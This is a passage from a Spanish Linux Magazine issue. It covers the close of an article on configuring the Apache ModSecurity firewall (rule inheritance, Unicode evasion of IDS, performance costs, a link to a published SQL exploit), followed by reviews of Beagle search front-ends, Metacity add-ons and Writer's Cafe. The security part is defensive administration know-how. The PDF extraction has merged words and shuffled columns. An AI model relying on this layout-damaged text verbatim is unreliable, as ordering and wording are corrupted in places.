Como contrpunto, la técnica de re-
escribir los exploits usando Unicode ha
ayudado a los atacantes a saltarse los
IDS (Intrusion Detection Systems) en el
pasado. Por ejemplo, el carácter / se rep-
resenta en Unicode como / y esta
clase de ofuscación podría anular a los
IDS. ModSecurity desencripta las cade-
nas Unicode estableciendo SecFil-
terCheckUnicodeEncoding a On, dán-
dole la posibilidad a los filtros de detec-
tar los posibles exploits.
Los Peligros del Unicode
ADMINISTRACIÓN • Apache ModSecurity
64 Número 22 W W W . L I N U X - M A G A Z I N E . E S
<Location /subcontext/>
SecFilterRemove 1001
</Location>
Este ejemplo simplemente deshabilita la
regla ID 1001 mientras mantiene las otras.
El siguiente hace justo lo contrario: des-
habilita todas las reglas de nivel superior
excepto la 1002 y la 1003:
<Location /subcontext/>
SecFilterInheritance Off
SecFilterImport 1002 1003
</Location>
Para facilitar la creación de conjuntos de
reglas, el proyecto Modsecurity Rule Sets
[2] y el sitio web Gotroot [6] ofrecen con-
juntos de reglas preconfiguradas para des-
cargarse. Las reglas de Gotroot soportan las
nuevas características de ModSecurity 1.9,
que las hacen incompatibles con las versio-
nes anteriores.
Características AdicionalesModSecurity posee otras opciones de seguri-
dad además de los mecanismos de filtrado
simples. La función SecUploadApproveScript
/ruta/a/script.sh permite comprobar los
ficheros que se suban para analizarlos en
busca de virus ejecutando el script que se
encarga de disparar al programa antivirus.
La documentación en línea tiene un ejemplo
de script. El módulo también configura una
“chroot jail” con la sentencia SecChrootDir
/var/www/, impidiendo que los scripts CGI
o binarios se salgan de la “cárcel”.
RendimientoDependiendo de la escala del conjunto de
reglas, ModSecurity puede afectar seria-
mente el rendimiento del servidor web. Una
prueba con ab muestra el impacto en el ren-
dimiento. El banco de pruebas forma parte
del paquete del servidor Apache. Se lanza la
herramienta con los
siguientes paráme-
tros: time ab -n 500 -c
30 http://servidor/
phbBB2/index.php.
En un sistema con
una CPU mobile Pentium 4 (no Centrino) a
1.8 Ghz se midió un tiempo de cerca de 55
segundos para el banco de pruebas con
Apache 2.0.55-a sin ModSecurity.
Habilitando ModSecurity con la
configuración básica mostrada en el Listado
2 se ralentizó el servidor Apache alrededor
de un dos por ciento, pero después de habi-
litar el conjunto de reglas modsecurity-gene-
ral, tal y como lo proporciona el proyecto
ModSecurity Rules [6], el servidor web
tardó del orden del 15 al 20 por ciento más
de tiempo en servir las páginas solicitadas.
Los administradores con servidores web
con bastantes accesos tendrán que tener los
conjuntos de reglas tan simples como les
sea posible para evitar un gran impacto en
su rendimiento. Además del número de
reglas, la complejidad de las utilizadas es
también un factor importante. Si se tienen
filtros con expresiones regulares, el conjunto
de reglas consumirá muchos más ciclos de
CPU que aquéllas con operadores de com-
paración simples. Como regla general:
cuanto más precisa sea la personalización
del conjunto de reglas para reflejar las nece-
sidades del filtrado, menor carga se gene-
rará.
Como Apache 1 no tiene un PCRE regexp
engine, al contrario que Apache 2, la carga
en la versión 1 es ligeramente superior. Si un
servidor web está expuesto a un ataque
masivo, un conjunto de reglas bien configu-
radas de ModSecurity pueden incluso mejo-
rar su rendimiento, ya que las peticiones no
llegarán en realidad a los scripts.
Como cualquier otra aplicación de seguri-
dad basada en reglas, la ganancia potencial
en seguridad dependerá de gran medida del
conjunto de reglas que se utilice. Dicho de
otro modo, los ataques que los conjuntos de
reglas no cubran explícitamente llegarán al
servidor.
ConclusionesComo barrera adicional contra los ataques
de las aplicaciones web, ModSecurity
proporciona un mecanismo de protección
extra. La efectividad del mismo dependerá
principalmente de la configuración del
conjunto de reglas, como es el caso de las
herramientas de protección basadas en
reglas. Suponiendo la mejor configuración
posible, el módulo puede defender al
servidor y a las aplicaciones web que
alberga de la mayoría de los ataques.
Una configuración inadecuada podría dejar
agujeros de seguridad e impedir que el
servidor sirva parte del contenido legítimo.
Cuando se instale ModSecurity, hay que
considerar cuidadosamente cada regla de
filtrado antes de aplicarla. �
Figura 2: En nuestro ejemplo, el módulo ModSecurity de Apache se
defiende con éxito de un ataque de inyección de SQL, registrando el
intento en el fichero error.log del servidor web.
Figura 3: El registro de auditoría de ModSecurity almacena los detalles y las cir-
cunstancias que rodean el ataque, además proporciona al administrador datos
útiles concernientes a los eventos del día.
[1] ModSecurity: http://www.
ModSecurity.org
[2] Conjunto de reglas de ModSecurity:
http://www.ModSecurity.org/projects/
rules/
[3] Herramientas Apache Httpd: http://
www.apachesecurity.net/tools/
[4] Snortsam: http://www.snortsam.net
[5] Kit de Herramientas Spread: http://
www.spread.org
[6] ModSecurity reglas: http://www.
gotroot.com/ tiki-index.
php?page=mod_security+rules
[7] Mambo, SQL exploit: http://www.
milw0rm.com/exploits/1061
RECURSOS
6767ISSUE 52 MARCH 2005W W W . L I N U X - M A G A Z I N E . C O M
Bienvenidos a Linux UserEsta es la sección dedicada a la presentación de software interesante y útil que nos ayuda en nuestro quehacer diario con
el escritorio Linux. Aquí aprenderemos a utilizar software estándar de una manera más eficiente, adquiriremos valiosos
conocimientos y descubriremos nuevas y apasionantes aplicaciones.
Ktools: Kbeagle 66
Si se ha perdido la esperanza de encontrar el camino
entre la masa de datos de tu ordenador de sobremesa,
lo mejor es usar un motor de búsqueda que permita
guiarnos a través de la selva. Kerry y KBeaglebar nos
acercan el motor Beagle al escritorio KDE.
Metacity 68
Si el espartano administrador de ventanas Metacity note da la funcionalidad que necesitas, prueba con losañadidos Brightside y Devil’s Pie de Metacity.
Érase una vez 70
Si estás buscando el modo de organizar tu próximanovela, prueba con StoryLines y la suite Writer’s Cafe.
Educación 74
No podemos cerrar el estudio sin examinar las propuestas de laindustria de la traducción: la especificación XLIFF y sus herra-
mientas. ¿Está el software libre a la altura?
Linea de comandos: Isos 79Si se están creando copias de seguridad, salvando datoso copiando CDs arrancables, dd y mkisofs te ayudan arealizar este trabajo estupendamente.
Juegos: Mania drive 82
Los más veteranos en el mundo de los juegos cono-cerán títulos como Stunts, los primeros simuladores 3Dde conducción que existieron y que causaron sensaciónentre el público en general. A estos jugones les encan-tará ahor ahora Mania Drive.
mación sobre la configuración de Mono y Bea-
gle. Mono es bastante extenso y necesita un
gran número de librerías. Si no se posee la ver-
sión actual de Mono, será imprescindible
armarse de paciencia para la sesión de des-
carga.
KBeaglebarLa aplicación de la barra de herramientas de
KBeaglebar se introduce en el Kicker de KDE y
presenta un cuadro donde los usuarios pueden
introducir claves de búsqueda al pulsar una
tecla o botón. El autor de KBeaglebar pretende
integrar la herramienta con yaBI [6] en una
etapa posterior. KBeaglebar requiere una ver-
sión Mono reciente (1.1.10 o superior), la ver-
sión más reciente de Beagle disponible (0.2.1 o
superior) y la versión 3.4 de KDE o superior.
InstalaciónLa aplicación es fácil de con-
figurar si ya se ha traba-
jado con la instala-
ción de Beagle. Para
ello se desempaqueta el archivo de código fuente
desde [3] introduciendo tar -xjvf kbeagle-
bar-0.4.0.tar.bz2, cambiamos al directorio kbea-
glebar y se escribe ./configure para crear los
Makefiles necesarios para la compilación. Luego
se escribe make para comenzar a compilar y
cuando se complete, se introduce el comando su
-c “make install” y se suministra la contraseña de
root cuando se requiera. Hasta este momento, el
programa aun continúa oculto. Para habilitarlo se
hace un clic en el espacio vacío en el Kicker y se
selecciona Add to Panel | Applet | Beagle KDE Bar
. Este comando sitúa un botón de búsqueda Bea-
gle en el panel. Luego puede pulsarse [Ctrl] +
[Alt] + [Space] para abrir el cuadro de entrada de
la clave de búsqueda.
Buscar y EncontrarCuando se introduce una clave de búsqueda en el
cuadro de entrada, Beagle comienza a buscar
documentos que contienen la clave de búsqueda.
KBeaglebar proporciona los resultados de la bús-
queda en forma de menú (Figura 1). Si un pro-
grama está unido al fichero, puede cargarse
haciendo clic sobre el resultado de la búsqueda.
De manera predeterminada el programa sólo
devuelve cinco ficheros o programas que contie-
nen la clave de búsqueda. La configuración sólo
permite hasta nueve coincidencias. Como éste
es un número relativamente pequeño, tiene
sentido definir la clave de búsqueda con toda la
precisión que nos sea posible.
KBeaglebar maneja únicamente claves de
búsqueda de Beagle, es decir, manteniendo el
LINUX USER • KTools: Kbeagle
La herramienta de búsqueda de escritorio
Beagle [1] crea un índice de ficheros en
los dispositivos locales permitiendo al
usuario la búsqueda de información de manera
más rápida. El programa, escrito en Mono [2],
usa la interfaz Gtk Sharp (Gtk#), una librería
.NET que enlaza con el kit de herramientas para
GUIs Gtk+. Para el escritorio KDE, dos son los
programas encargados de la mejora de la usabi-
lidad de Beagle: KBeaglebar [3] y Kerry Beagle
[4].
Beagle ha comenzado a aparecer en la mayo-
ría de las distribuciones Linux, por lo que es
muy probable que la versión Linux de que se
disponga ya lo posea. En caso contrario, en el
Número 11 de la edición en castellano de Linux
Magazine puede
conseguirse
más
infor-
Búsqueda de Escritorio con Beagle en KDE
¡BUSCA!Si se ha perdido la esperanza de encontrar el camino entre la masa de
datos de tu ordenador de sobremesa, lo mejor es usar un motor de
búsqueda que permita guiarnos a través de la selva. Kerry y KBeagle-
bar nos acercan el motor Beagle al escritorio KDE.
POR FRANK WIEDUWILT
Figura 1: KBeaglebar mostrando los resulta-
dos de la búsqueda en un menú.
66 Número 22 W W W . L I N U X - M A G A Z I N E . E S
67
KTools: Kbeagle • LINUX USER
formateado especial que Beagle usa para restrin-
gir la búsqueda o excluir términos específicos.
KBeaglebar a MedidaEl programa no ofrece mucho en lo que se
refiere a opciones de configuración. Para usar las
opciones disponibles, se hace clic en la flecha de
la izquierda del icono de KBeaglebar en el panel y
se selecciona Configure Beagle KDE Bar...desde el
menú.
Aparece un cuadro de diálogo con tres pesta-
ñas. Puede usarse la primera pestaña para confi-
gurar el atajo de teclado para arrancar la ventana
de búsqueda. La segunda de las pestañas permite
establecer el ancho del menú para los resultados
de la búsqueda y especificar el número de coinci-
dencias que se desean que KBeaglebar presente.
La tercera pestaña del cuadro de diálogo tiene
un botón para arrancar el programa de control de
Beagle y que puede usarse para personalizar Bea-
gle. El software presenta el estado del índice y per-
mite especificar los directorios que se deseen que
sean creados e indexados por Beagle.
KerryEl segundo front-end para Beagle, Kerry, se
originó en los laboratorios de Suse y fue
incluido por primera vez en
Suse Linux 10.1. Ahora, el
equipo de desarrollo de KDE ha
tomado la herramienta y la ha
integrado al entorno de
escritorio de KDE. Kerry
requiere una versión KDE 3.4 o
superior y la versión más
reciente de Beagle que pueda
encontrarse (0.2.1 o superior).
A menos de que se disponga
de la versión actual OpenSuse
10.1 o Ubuntu 6.06 o superior,
no tendremos más alternativa
que compilar la aplicación
desde el código fuente. El pro-
grama demostró ser un poco
exigente: en Mandriva 2006 tuvimos que
actualizar a KE 3.5 para completar la compi-
lación, mientras que en Ubuntu 5.10 nos
vimos obligados a instalar una nueva versión
de Mono y una nueva de Beagle. Kerry
renunció a ejecutarse con la versión suminis-
trada por las fuentes retroportadas de
Ubuntu.
Tras salvar estos obstáculos, desempaque-
tamos el archivo kerry-0.1.tar.bz2 esribiendo
tar -xjvf kerry-0.1.tar.bz2, cambiamos al
nuevo directorio kerry y escribimos ./confi-
gure. Posteriormente introducimos el
comando make para comenzar la compila-
ción y finalmente escribir su -c “make install.”
Escribiendo kerry & en una ventana de
emulación de terminal se abre la ventana
principal del programa. Puede usarse el cua-
dro de texto superior para introducir una
clave de búsqueda o claves de búsqueda, y
los resultados serán presentados en el cuadro
bajo él (Figura 2). El programa muestra imá-
genes previas de tipos de ficheros conocidos.
Puede usarse la lista Within: a la derecha
del cuadro de entrada para restringir la bús-
queda a tipos de ficheros específicos, tales
como páginas HTML o documentos de texto.
Haciendo clic en More results carga las coinci-
dencias que faltan en la ventana del pro-
grama.
Haciendo clic con el botón derecho en los
resultados de la búsqueda presenta un menú
contextual donde puede seleccionarse cómo
ordenar los resultados.
Al igual que KBeaglebar, Kerry añade un
icono al kicker. Haciendo clic con el botón
derecho sobre el icono de Kerry se abre un
menú que permite volver a acceder a las
cinco últimas búsquedas (Figura 3), y el cua-
dro de diálogo de configuración del programa
también es accesible a través del menú selec-
cionando Configure Kerry (Figure 4).
En la primera pestaña del cuadro de diá-
logo de configuración puede especificarse el
atajo de teclado abriendo la ventana de bús-
queda y el orden en el que Kerry presenta los
resultados. La opción Start search and inde-
xing services automatically arranca automáti-
camente Beagle al comienzo de la sesión
KDE. La opción Maximum number of results
displayed permite hacer a medida la presen-
tación de los resultados, al igual que ocurriera
con KBeaglebar. Kerry, sin embargo, no
aplica un límite superior.
ConclusionesBeagle facilita el acceso a ficheros almace-
nados localmente. KBeaglebar y Kerry inte-
gran Beagle en KDE sin fisuras y facilitan el
acceso a los índices almacenados. Sin
embargo, KBeaglebar sacrifica esta ventaja
restringiendo el número máximo de bús-
quedas a nueve.
Kerry se erige en el ganador con su bien
definida perspectiva de resultados de bús-
queda y el soporte de filtrado. Kerry tam-
bién ofrece más opciones flexibles de
configuración suministrando una vista pre-
via de los ficheros que encuentra. �
[1] Beagle: http://www.beagle-project.org
[2] Mono: http://www.go-mono.com
[3] KBeaglebar: http://www.kde-apps.org/
content/show.php?content=35781
[4] Kerry: http://en.opensuse.org/Kerry
[5] “Olfato Canino: El buscador de
escritorio Beagle,” por Tim Schür-
mann; Linux Magazine Edición en
Castellano, Número 11: http://www.
linux-magazine.es/issue/11/Beagle.pdf
[6] yaBI: http://www.kde-apps.org/
content/show.php?content=33222
RECURSOS
Figura 2: La ventana principal de Kerry ofrece un útil
resumen de los resultados de la búsqueda.
Figura 4: Kerry permite a los usuarios arrancar
automáticamente el motor de búsqueda Beagle
cuando abren una sesión KDE.
Figura 3: El menú de contexto de Kerry per-
mite acceder a las cinco últimas búsquedas.
67Número 22W W W . L I N U X - M A G A Z I N E . E S
ejemplo. Devil’s Pie les ofrece la posibilidad de
especificar varias acciones que el escritorio
puede llevar a cabo cuando arrancan los pro-
gramas. Ambas utilidades usan Extended
Window Manager Hints [2] para comunicarse
con el administrador de ventana.
Esquinas ActivasAlgunas distribuciones, como Ubuntu Dapper
Drake y Fedora Core 5, incluyen Brightside en
sus repositorios. Como alternativa, siempre
puede compilarse el programa uno mismo
usando los paquetes disponibles en [3].
Brightside es bastante frugal con respecto a las
dependencias, de hecho, sólo serán necesarias
principalmente las típicas librerías Gnome.
Libwnck es la inusual excepción a esta
regla. Ofrece información sobre los programas
del escritorio activo y facilita ciertas herra-
mientas de programación, como conmutado-
res de tareas.
Después de emitir el comando make install
para instalar el programa, deberían tenerse en
el disco los binarios brightside y brightside-pro-
perties. Brightside podrá encontrarse en el
menú bajo System | Preferences | More Prefe-
rences. Se configura usando la herramienta
brightside-properties (Figura 1). Para habilitar
las acciones que se configuran con el pro-
grama, o bien se necesita arrancar Brightside
manualmente, o bien añadirlo a la lista de pro-
gramas a arrancar cuando comienza una
sesión Gnome en gnome-session-properties.
Para cada una de las cuatro esquinas de la
pantalla se configura una acción. La acción
puede ser modificada en el menú desplegable:
deshabilitar y habilitar el sonido de salida,
poner en marcha el salvapantallas o incluso
hibernar una máquina.
Desafortunadamente, todas estas acciones
están metidas en el código, en lugar de defi-
68
LINUX USER • Metacity
El software no es una excepción a la
regla por todos conocida de que “para
gustos, los colores”. Algunos usuarios
disfrutan con una sobreabundancia de carac-
terísticas y un casi barroca presentación,
mientras que otros prefieren ser más prácticos.
Los administradores de ventanas llevan estas
preferencias hasta los extremos, yendo desde
los minimalistas TWM hasta el altamente
complejo Enlightenment, un administrador de
ventanas que provee de todos los pitos y flau-
tas imaginables e incluso animaciones [1].
Matacity, el administrador de ventanas para
el escritorio Gnome, está diseñado con simpli-
cidad, sin confundir a los usuarios con una
sobreabundancia de opciones. Para alcanzar
esta meta se concentra en la misión principal
de todo administrador de ventanas: dibujar
decoraciones de ventanas, organizarlas y
moverlas. Los applets de Gnome sirven para
manejar funciones adicionales tales como
escritorios virtuales.
Este artículo describe un par de programas
llamados Brightside y Devil’s Pie que añaden
útiles características a Metacity. Brightside
suministra soporte de ratón a esquinas y bor-
des del escritorio Gnome, permitiendo a sus
usuarios saltar entre escritorios virtuales, por
Los añadidos Brightside y Devil’s Pie de Metacity
LUCES DE LA CIUDAD
Si el espartano administrador de ventanas Metacity no te da la fun-
cionalidad que necesitas, prueba con los añadidos Brightside y Devil’s
Pie de Metacity. POR OLIVER FROMMEL
Figura 1: Brightside permite a los usuarios asig-
nar una acción a cada esquina del escritorio.
68 Número 22 W W W . L I N U X - M A G A Z I N E . E S
69
Metacity • LINUX USER
nirse a través del fichero de configuración. En
nuestro laboratorio, el arranque de la función
salvapantallas no funcionó bien porque usa
comandos para la herramienta Xscreensaver,
que no tiene Fedora Core 5.
Definición de AccionesMetacity soporta acciones a medida creadas
por el usuario que permiten asignar acciones
distintas de las predeterminadas para reactivar
las esquinas. Cuando se selecciona una acción
a medida, Brightside presenta un pequeño
cuadro de diálogo donde puede introducirse el
programa a ejecutar (Figura 2). Para que
comience el salvapantallas de Fedora Core 5 a
través de una esquina reactiva, se introduce
gnome-screen-saver-command -activate for On
entering region. No es preciso configurar las
opciones que Brightside ofrece para cuando se
abandona la esquina reactiva: el salvapanta-
llas se deshabilita automáticamente cuando se
mueve el ratón.
Conmutación SuaveLa característica de los bordes sensibles,
por la cual se permite conmutar entre
escritorios virtuales cuando se mueve el
ratón sobre la izquierda o la derecha del
borde de la pantalla, también es una
interesante opción de Brightside. Una
demora configurable previene de conmu-
taciones accidentales (ver Figura 1). Y,
por cierto, Brightside no sólo funciona
con Metacity. En nuestro laboratorio des-
cubrimos que soportaba también Flux-
box y WMX, dos alternativas a Metacity
en Fedora.
Devil’s PieLos desarrolladores de Metacity han evi-
tado deliberadamente añadir una carac-
terística que organiza las ventanas de
forma inteligente. En su opinión, esto no
forma parte del trabajo de un administra-
dor de ventana. Por tanto, el desarrolla-
dor de Gnome, Ross Burtonini, se puso
manos a la obra y escribió una herra-
mienta que rellenaba el hueco.
Devil’s Pie [4] da a los usuarios la
habilidad de especificar lo que ocurre a
una aplicación en el momento de su
arranque, utilizando para ello unos sen-
cillos ficheros de configuración. El com-
portamiento configurable incluye cómo
organizar la ventana de aplicación sobre
la pantalla, bien añadiendo una entrada
a la lista de tareas, la posición sobre el
escritorio virtual, o bien si usar decora-
ciones de ventana. No hay duda de que
vale la pena añadir Devil’s Pie como ele-
mento permanente a cualquier sesión
Gnome.
Sintaxis Lisp sobre XMLHasta la versión 0.12, Devil’s Pie usó
ficheros de configuración formateados
en XML, pero la versión 0.13 introduce
una sintaxis basada en expresiones S, las
cuales pueden verse principalmente en
el contexto del lenguaje de programación
Lisp. Los ficheros residen en el directorio
$HOME/.devilspie y son reconocidos
mediante su extensión .ds. Cada fichero
puede contener una única regla que
gobierna a una única aplicación. Por
ejemplo, la siguiente expresión envía la
ventana de aplicación al segundo escrito-
rio virtual cuando se arranca el cliente
P2P de Amule:
(if
(is (application_name) U
“amule”}
(set_workspace 2)
)
El fichero de configuración siguiente maxi-
miza el reproductor de medios Kaffeine en el
arranque:
(if
(matches U
(application_name) U
“Kaffeine Player”)
(maximize)
)
Usando la palabra clave fullscreen en
lugar de maximize arrancaría Kaffeine en
modo pantalla completa. Si se cambia un
fichero de configuración, es importante
no olvidar rearrancar devilspie para apli-
car los cambios. Si los cambios no tienen
el efecto deseado, se configura la eti-
queta -d cuando se arranca el programa
para investigar los conflictos. Como
alternativa, puede añadirse una orden
(debug) al final del fichero de
configuración.
Devil’s Pie tiene la capacidad de mani-
pular expresiones regulares, al igual que
cualquier herramienta Unix que se pre-
cie. Para ello usaremos la palabra clave
matches. Si se desea que el programa eje-
cute un grupo de instrucciones para una
única aplicación, usaremos la palabra
clave begin indica el comienzo del
grupo:
(if
(matches (application_name) U
“Firefox”}
(begin
(geometry “600x800”)
(center)
)
)
El Wiki de Devil’s Pie [6] y el tutorial en [7]
ofrecen más detalles sobre el uso y
configuración de Devil’s Pie.
Casi PerfectoDevil’s Pie usa ficheros de texto simples
para controlar el manipulado del escrito-
rio y las aplicaciones que se arrancan.
Brightside añade esquinas reactivas y
bordes sensibles.
Desafortunadamente, Brightside no es
tan flexible como debiera, ya que sólo
soporta acciones configurables de un
único usuario. Un fichero de configuración
que especifica acciones básicas debería
tener un sistema mejor. �
[1] Perspectiva de administradores de
ventana X: http://xwinman.org
[2] Extended Window Manager Hints:
http://standards.freedesktop.org/
wm-spec/wm-spec-1.3.html
[3] Brightside: http://home.jesus.ox.ac.
uk/~ecatmur/brightside
[4] Devil’s Pie: http://burtonini.com/blog/
computers/devilspie
[5] Expresiones S: http://theory.lcs.mit.
edu/~rivest/sexp.html
[6] Wiki de Devil’s Pie: http://live.gnome.
org/DevilsPie
[7] Tutorial de Devil’s Pie: http://wiki.
foosel.net/linux/devilspie
RECURSOS
69Número 22W W W . L I N U X - M A G A Z I N E . E S
Figura 2: La acción Custom ofrece a los
usuarios la habilidad de especificar un pro-
grama para que se ejecute Brightside.
Ya está bien de escribir código en la semipenumbra del garaje. Ha llegado el momento de ganar dinero de verdad escribiendouna novela. Pero, ¿cómo hacer para establecer el guión, los personajes, etc? Un procesador de textos, no importa lo avan-zado que sea, no es lo ideal para este tipo de tareas, incluso aunque disponga de una buena función introductoria. Podría
usarse algo como una wiki o KDissert [1], aunque ¿conseguiríamos mantener las cosas organizadas con alguna de las solucionesanteriores? Sabemos que son idóneos para compilar árboles de datos, pero en una historia la cosa cambia, ya que parte de su
atractivo reside en que esos árboles se solapan e interactúan.Una buena opción es StoryLines, parte de Writer’s Cafe, una herramienta de software especialmente diseñada para escri-tores de ficción. StoryLines no genera ideas o crea perfiles, se trata más bien de una colección de herramientas que ayuda-
rán a situar las ideas en una narrativa bien escrita, apropiada y estructurada. Julian Smart de Anthemion software [3]desarrolló Writer’s Cafe a partir de las ideas de su esposa, Harriet, novelista de profesión. Y es que usando la aplica-
ción está claro que su diseño fluye a partir de una experiencia práctica con el proceso de escritura.
InstalaciónWriter’s Cafe es una aplicación multiplataforma que funciona bajo Linux, Windows y MacOSX gracias al
uso de wxWidgets propios de Smart [4]. El primer paso es descargar la versión apropiada desde lapágina web. Existen versiones para Red Hat, Fedora, Suse y Debian. Todas ellas hacen referencia a
versiones de distros un tanto antiguas, aunque la más reciente, la 1.22 para Suse 9.2, funcionabien para Suse 9.3 y Suse 10.0. Colocamos la descarga en un directorio temporal y la descom-
primimos. Se ejecuta el script de instalación ./installwc en un terminal y preguntará por eldirectorio de instalación y por otro en el que situar los scripts de arranque. Yo elegí para
ambos el directorio predeterminado /home/kevin/Writer Cafe-1.22.Se selecciona la opción (1) para instalar Writer’s Cafe y el contenido de la barra detareas se copia al lugar de instalación. Para abandonar la instalación se pulsa 0.
Ahora se puede arrancar el programa yendo al directorio de instalación y escri-biendo ./Writer’s Cafe.
Encontré que para abrir Writer’s Cafe era bastante buena idean añadirle lalínea export BROWSER= “konqueror” al script de arranque. Este paso per-mite arrancar un navegador desde dentro de Writer’s Cafe cuando sea nece-sario. Evidentemente puede establecerse un icono en el escritorio para eje-cutar el programa con un solo clic.
ContenidosWriter’s Cafe está diseñado como una versión virtual de un cafetería real, demodo que abre un escritorio que actúa como un portal para los otros ele-mentos del paquete, los cuales incluyen varias pequeñas golosinas que pue-den no estar directamente emparentadas con el proceso de escritura, aun-
que intenten predisponer al usuario para que escriba: Suena una can-ción llamada “Untie my Tongue” de Jay Goldmark, una colección de
“cookies” (citas cortas sobre la teoría y la práctica de escritura deficción) y un juego de solitario llamado Forty Thieves.
Una guía denominada Getting Started de 10 páginasintroduce las distintas aplicaciones en el paquete de Wri-
ter’s Cafe, también existen guías detalladas sobrecaracterísticas del programa en la solapa Book-shelf.
LINUX USER • Érase una vez
70 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Escribiendo ficción con Writer’s Cafe y StoryLines
ÉRASE UNA VEZ…Si estás buscando el modo de organizar tu próxima novela, prueba con StoryLines y la
suite Writer’s Cafe. POR KEVIN DONNELLY
Scraps proporciona un modo de imponer unpoco de orden a las cosas desorganizadas que sehayan ido introduciendo en Notebook o en Jour-
nal, manteniendo colecciones de materialesemparentados (por ejemplo, búsqueda de ele-mentos, esbozos de personajes, etc.) agrupadosen un mismo sitio. Los Scraps se encuentranarchivados en los scrap books (libros de recor-tes). Pueden crearse tantos libros de recortescomo se deseen, los cuales podrán contenertexto, imágenes y páginas o enlaces web. Unconjunto básico de herramientas de dibujo per-mite colorear y enlazar distintos elementos, demodo que puede comenzarse probando conestructuras de historias, interacciones y otros ele-mentos.
También existe una función que muestra dia-positivas (View | Slideshow) que permite visio-nar imágenes en un libro de recortes. Obsérveseque la ventana que muestra las diapositivas nose abre en toda su extensión, por lo que tendráque ser extendida manualmente para poder verlos controles y la imagen completa.
Yendo a Help | Writing Prompt... (o el iconoestrella de la barra de tareas), puede acce-derse a otra útil herramienta (Figura 3). Éstapresenta una ventana con una sugerencia deun tema sobre el cual escribir y arranca uncontador de 15 minutos de duración (ajusta-ble según se desee). Puede escribirse todo loque se quiera sobre ese tema en el tiempodado (que aparece como una cuenta atrás enun reloj en la pantalla), pudiéndose almace-nar la salida bien en el Notebook, bien en elJournal. Éste es un buen ejercicio de calenta-miento. También puede usarse la facilidad delreloj de manera más general yendo a View |
Timer... y establecer un período específico.Una vez que el tiempo ha llegado a cero, apa-rece una ventana emergente advirtiendo elfinal del mismo.
Por último, otra herramienta, que al igual quelas anteriores pretende ser un calentamientopara la escritura, es World Tiles. Esta utilidad nosproporciona un conjunto de palabras que pue-den moverse de un lado para otro. Se elige unjuego de palabras (tales como circo o romance),y luego se experimenta con ellas colocándolasjuntas de diversas maneras. Es posible añadirpalabras propias a la lista dada (bien a través deEdit | New Word, o bien usando el icono de labarra de tareas), o bien puede crearse una listapropia completamente nueva (View | Preferen-
ces | Word Lists). Aparentemente hay unpequeño fallo aquí, ya que todas las nuevas lis-tas se denominan Writers-Cafe-1 la siguiente vezque se abre la aplicación, incluso si originaria-mente se elige un nombre diferente o si serenombran. Esto es menos serio de lo quepudiera parecer, puesto que, en la mitad inferiordel diálogo se ofrece una visión de los conteni-dos.
La interfaz sólo permite introducir una pala-bra a la vez, pero, ya que las listas (localizadasen installdr/WordTiles/WorldList) son simplesficheros de texto que contienen una palabra porlínea, es posible crear una lista con nuestro edi-tor de textos favorito y colocarlo en el directorio.Sin embargo, nótese que para que sea posibleque WordTiles pueda ver y usar estas listas debehacerse un clic sobre Open en el cuadro de diá-logo WordLists, seleccionar la nueva lista y luegohacer un clic a Open. WordTiles dichas listas conel título correcto.
Personalmente considero que mover las pala-bras en WordTiles es demasiado tedioso. Es másfácil hacer garabatos en Notebook, aunque verpalabras desconectadas situadas una al lado dela otra evidentemente puede dar origen a nuevasideas y asociaciones. Teniendo esto en cuenta,una característica útil para el futuro podría seruna opción que “mezcle” las palabras. BrianEno solía usar una técnica similar para escribirlas letras de sus canciones. Esto permitiría al
En Suse, el texto que se utiliza para este escri-torio es muy pequeño, aunque se puede accedera todos los elementos directamente a través delmenú Tools. Para la mayoría de las aplicacionesmayores puede incrementarse el tamaño de lafuente yendo a View | Settings…| Aesthetics. Estaopción permite entradas de texto más cómodasen los tres principales aplicaciones asistentes:Scraps, Journaly Notebook.
Notebook es simplemente un espacio en elque escribir, permitiendo garabatear cualquieridea que se nos ocurra de la manera más sencillaposible. No es preciso guardar ficheros indivi-duales.
Pueden comenzarse nuevas páginashaciendo clic en un icono y puede verse unalista de todas las páginas yendo a la página decontenidos (obsérvese que esta ventana perma-nece abierta en la parte superior de todas las res-tantes aplicaciones a menos que se haga clicsobre el enlace Closeen la parte superior).
Journal (Figura 2) implementa un ejercicio amenudo recomendado para el aspirante a escri-tor, intentando introducirle en el hábito de escri-bir algo, lo que sea, cada día, manteniendo unaregistro de sus pensamientos y sentimientos.Journal es parecido a Notebook, pero la páginade contenidos lista entradas por fecha en lugarde por páginas. El texto introducido en cual-quiera de estas dos aplicaciones puede ser com-probado usando un corrector ortográfico compi-lado en View | Settings | Spelling.
Figura 1: Writer’s Cafe ofrece una gran variedad de útiles herramientas para escritores de ficción.
Figura 2: Journal hace que escribas algo
cada día
Erase una vez • LINUX USER
71Número 22W W W . L I N U X - M A G A Z I N E . E S
Figura 3: El cuadro de diálogo Writing Prompt
sugiere un tema para un ejercicio de calentamiento.
con ellas en la líneaargumental paraconseguir unaestructura más orga-nizada para la histo-ria.
Por ejemplo,vamos a intentar usarStoryLines para poneren práctica una nuevaidea que se me acabade ocurrir, unpequeño fragmento
sobre una familia feudal. Voy a llamar a la pieza“Romeo y Julieta”. En primer lugar, se inicia unnuevo proyecto (File | New Project...), y se le daun nombre. Lo predeterminado es crear un pro-yecto en blanco, aunque también es posibleimportar una plantilla si se dispone de ella. Acontinuación se da entrada a tres nombres delíneas de historia (por ejemplo, Romeo, Julieta,familia feudal) que pueden ser modificadas oborradas posteriormente (Figura 5).
StoryLines se abrirá con las líneas de historiaque se especificaron en la mitad inferior de lapantalla, cada una con un color predeterminadodiferente (que puede personalizarse haciendodoble clic en el encabezamiento de la línea argu-mental en la izquierda y haciendo clic en el cua-dro de colores) que permite seguirle la pista a lastarjetas según la línea argumental a la que perte-nezcan. La mitad superior de la línea de la pan-talla tiene un bosquejo del proyecto en laizquierda, mostrando las tarjetas en columna(línea de tiempo) y el orden en el argumento yun editor en la derecha, donde pueden ser edita-dos un gran número de atributos para cada tar-jeta.
La primera tarea es ir a Edit | Project Informa-
tion...e introducir alguna información acerca delproyecto y sobre uno mismo en la solapa Basics
(Figura 6). En la solapa Story Details se puedeintroducir un suma-rio sobre qué tipo defragmento de ficciónse está escribiendo(concepto, género),el público al cual sedirige, etc. En teoría,esto es bastante sen-cillo, pero en la prác-tica puede de hechoayudar a dar forma alas ideas sobre losobjetivos del frag-mento. La solapaStorylines permiteañadir, editar yborrar líneas argu-
